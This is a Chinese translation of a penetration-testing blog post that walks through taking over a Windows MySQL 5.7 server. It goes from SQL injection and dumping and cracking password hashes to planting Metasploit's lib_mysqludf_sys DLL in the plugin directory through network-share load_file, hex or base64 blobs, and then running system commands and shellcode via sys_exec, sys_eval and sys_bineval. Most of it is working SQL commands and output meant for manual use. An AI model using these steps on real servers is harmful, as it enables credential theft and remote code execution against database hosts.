MySQL UDF开发

在现实世界中,当我登录金融机构时,遇到了他们拥有内部Intranet并且使用MySQL 5.7 64位作为后端数据库技术的场景。 大多数时候,我在大多数合作环境中遇到MSSQL,但这是一种罕见的情况。 我在Web应用程序中发现了SQL注入,并且我可以从mysql.user转储用户名和密码,并且我意识到它有权将文件写入磁盘。 这导致我写了一篇文章,并分享了向UDF库注入MySQL并获得代码执行和在Windows中弹出一个shell的技巧。 当我谷歌搜索大多数技术有点模糊,当涉及到Windows。 所以,我想用我自己的研究来写这篇文章来清除一些事情,并让你明白一些可以手动使用的技巧。

当我在一台主机上写博客时,我将使用最新的MySQL 5.7.21服务器。为了重现该场景,我运行带有’-secure-file-priv =’参数的mysqld,服务器设置为blank(不是NULL)。在这种情况下,我能够在内部网使用中union注入,从mysql.user表中检索用户名和密码。请注意,在MySQL 5.7及更高版本中,“密码”列不存在。他们已将其更改为’authentication_string’。

# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

请注意,如果您已拥有凭据,则可以使用metasploit的mysql_hashdump.rb辅助模块来转储MySQL哈希值。 当我写这篇博文时,脚本需要更新以便在MySQL 5.7中提取,您可以在这里查看我的pull请求

用户’osanda’的主机列允许来自192.168.0。*的连接,这意味着我们可以使用该用户从该IP范围进行远程连接。 我破解了密码哈希并获得了纯文本密码。

登录到MySQL后,查看当前用户的权限。

select * from mysql.user where user = substring_index(user(), '@', 1) ;

我们登录的用户拥有所有权限,并且我们有权读取和写入文件,在这些文件中您可以考虑编写UDF DLL库并获得代码执行。

什么是UDF库

UDF表示MySQL中的用户定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用可在Metasploit框架中找到的“lib_mysqludf_sys_64.dll”DLL库。您可以使用基于Metasploit”/usr/share/metasploit-framework/data/exploits/mysql/”模块。(https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql)

首先,我们必须检查运行MySQL的体系结构。 全局变量’@@ version_compile_os’向我们展示了MySQL实例的体系结构,’@@ version_compile_machine’向我们展示了操作系统的体系结构。 在这种情况下,我们在64位Windows操作系统中运行64位版本的MySQL。

MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64                | x86_64                    |
+----------------------+---------------------------+
MySQL [(none)]> show variables like '%compile%';
+-------------------------+--------+
| Variable_name           | Value  |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os      | Win64  |
+-------------------------+--------+

从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,可以使用’@@ plugin_dir’全局变量找到它。 这个变量可以在mysql.ini文件中看到和编辑。

MySQL [(none)]> select @@plugin_dir ;
+--------------------------------------------------------------+
| @@plugin_dir                                                 |
+--------------------------------------------------------------+
| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+--------------------------------------------------------------+
1 row in set (0.02 sec)

MySQL [(none)]> show variables like 'plugin%';
+---------------+--------------------------------------------------------------+
| Variable_name | Value                                                        |
+---------------+--------------------------------------------------------------+
| plugin_dir    | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+---------------+--------------------------------------------------------------+

您可以通过将新值传递给mysqld来更改插件目录变量。

mysqld.exe –plugin-dir=C:\\temp\\plugins\\

另一种方法是用plugin目录编写一个新的mysql配置文件并将其传递给mysqld。

mysqld.exe --defaults-file=C:\\temp\\my.ini

The content of the ‘my.ini

[mysqld]
plugin_dir = C:\\temp\\plugins\\

在5.0.67之前的MySQL版本中,文件必须位于系统动态链接程序搜索的目录中。 这同样适用于4.1.25之前的MySQL版本。 以下是文档中提到的文字。

从MySQL 5.0.67开始,文件必须位于插件目录中。 该目录由plugin_dir系统变量的值给出。 如果plugin_dir的值为空,则在5.0.67之前使用的行为适用:该文件必须位于由系统的动态链接程序搜索的目录中。

从MySQL 4.1.25开始,文件必须位于插件目录中。 该目录由plugin_dir系统变量的值给出。 如果plugin_dir的值为空,则在4.1.25之前使用的行为适用:文件必须位于由系统的动态链接程序搜索的目录中。

在旧版本中,您可以将DLL文件上传到以下位置并创建新的UDF功能。

  • @@datadir
  • @@basedir\bin
  • C:\windows
  • C:\windows\system
  • C:\windows\system32

上传二进制文件

有很多可能的方法可以做到这一点。load_file函数支持网络路径。如果您可以将DLL复制到网络共享中,您可以直接加载它并写入磁盘。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

第二种方法是用一个十六进制编码的字符串将整个DLL文件写入磁盘。

select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

第三种方法是创建一个表并将二进制数据插入到十六进制编码流中。 您可以尝试在一个插入语句中编写代码或将其分解为多个部分,其中使用update语句来联系二进制数据。

create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

您也可以直接从磁盘将文件从网络共享加载到上面创建的表中,或使用“加载数据infile”语句在本地加载。 像上面显示的那样将文件转换为十六进制,并在写入磁盘时取消对其的编辑。

load data infile '\\\\192.168.0.19\\network\\udf.hex' 
into table temp fields terminated by '@OsandaMalith' 
lines terminated by '@OsandaMalith' (data);

select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

从MySQL 5.6.1和MariaDB 10.0.5开始有好消息。 介绍了函数’to_base64’和’from_base64’。 如果你是一个喜欢绕过SQL注入WAFs的人,你可能已经在使用这些函数(提示:路由查询注入)。

select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';

您可以编辑base64文件并添加以下行以转储到插件目录。

select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") 
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

之后,你可以像这样将整个文件传递给mysql。

mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64

您也可以使用上面讨论的“load data infile”语句直接从网络共享或本地编写base64编码文件,并像这样转储。

select from_base64(data) from temp 
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

探索DLL

大多数时候我看到人们只写关于Metasploit内部的这个DLL中的’sys_exec’函数。 为了好奇,我想到了扭转这个DLL并探索其他功能。 如果我们检查导出目录,我们可以看到作者写了几个更有用的函数。 我会展示一些有用的功能。

sys_exec

该函数将在“系统”函数内传递参数’args-> args [0]’。 您可以使用它在目标机器上执行系统命令。

安装

创建函数sys_exec返回int soname'udf.dll';

验证

select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_exec |   2 | udf.dll | function |
+----------+-----+---------+----------+

删除

drop function sys_exec;

sys_eval

该功能将执行系统命令并在屏幕上显示传递给stdout。正如你可以使用这个函数一样,使用_popen函数和’r’参数,calling process can read the spawned command’s standard output via the returned stream。它使用’fgets’来读取pipe到缓冲区,它会返回缓冲区。

安装

创建函数sys_eval返回字符串soname'udf.dll';

验证

select * from mysql.func where name = 'sys_eval';

删除

drop function sys_eval;

例子

select sys_eval('dir');

sys_get

该函数使用’getenv’函数返回系统变量的值。

安装

创建函数sys_get返回字符串soname'udf.dll';

验证

select * from mysql.func where name = 'sys_get';

删除

Drop function sys_get;

例子

Select sys_get('longonserver');

Executing Shellcode – sys_bineval

我在这个DLL里面找到了一个很酷的函数’sys_bineval’。 该函数将使用’VirtualAlloc’API分配RWX内存,并使用’strcpy’将’args-> args [0]’复制到新分配的内存中。 然后这个缓冲区被传递给’CreateThread’API来产生一个新的线程。

如果我们看看’CreateThread’API,我们可以看到使用’strcpy’复制缓冲区的’lpParameter’作为指针传递给要传递给线程的变量。 ‘StartAddress’中的函数将直接移动’lpParamter’并调用ptr rax,这将改变RIP到我们的shellcode。

安装

创建函数sys_bineval返回int soname'udf.dll';

验证

select * from mysql.func where name = 'sys_bineval';

删除

drop function sys_bineval;

例子

然而,我没有得到这个工作在64位。 这在32位平台中工作正常。 您可以直接打开原始二进制shellcode或编码为base64或十六进制编码并使用此功能执行。

select sys_bineval(from_base64(load_file('./calc.b64')));

我注意到这些外部UDF函数在拆解代码中没有适当的异常处理。 因此,在调用这些函数时稍有错误会导致mysqld.exe服务器崩溃。 我希望这篇文章可能对你有用,同时记录下MySQL。

参考

http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/create-function-udf.html
http://ftp.nchu.edu.tw/MySQL/doc/refman/4.1/en/create-function-udf.html
https://docs.oracle.com/cd/E19078-01/mysql/mysql-refman-5.0/extending-mysql.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-1.html
https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html
https://msdn.microsoft.com/en-us/library/aa298534(v=vs.60).aspx

原文:https://osandamalith.com/2018/02/11/mysql-udf-exploitation/

上一篇:机器学习与网络安全相关的资料

下一篇:CVE-2017-13253: 多个Android DRM服务中的缓冲区溢出